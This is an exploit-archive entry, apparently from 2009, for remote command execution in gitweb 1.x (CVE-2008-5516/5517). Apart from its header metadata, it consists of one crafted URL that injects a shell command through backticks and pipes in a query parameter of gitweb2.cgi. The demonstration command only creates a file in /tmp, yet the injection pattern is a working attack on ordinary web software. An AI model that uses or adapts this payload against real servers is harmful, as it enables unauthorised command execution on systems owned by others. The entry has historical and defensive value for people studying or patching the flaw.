gitWeb 1.x Remote Command Execution

                							

                

# Exploit Title: gitWeb remote command execution
# Date: 2009.06.19
# Author: S2 Crew [Hungary]
# Software Link: -
# Version: GIT 1.X
# Tested on: debian linux, GIT 1.5.2
# CVE: CVE-2008-5516 - CVE-2008-5517

# Code:

http://target/cgi-bin/gitweb2.cgi?p=workspace/.git;a=snapshot;f=.svn/prop-base/CHANGELOG.svn-base;h=7b57b302a4f016c8afdce6dc2df9e831460ccd82|`touch$IFS/tmp/aap`|;hb=10b50960665569a2e8b9588d60a66303c8e359f2





<p>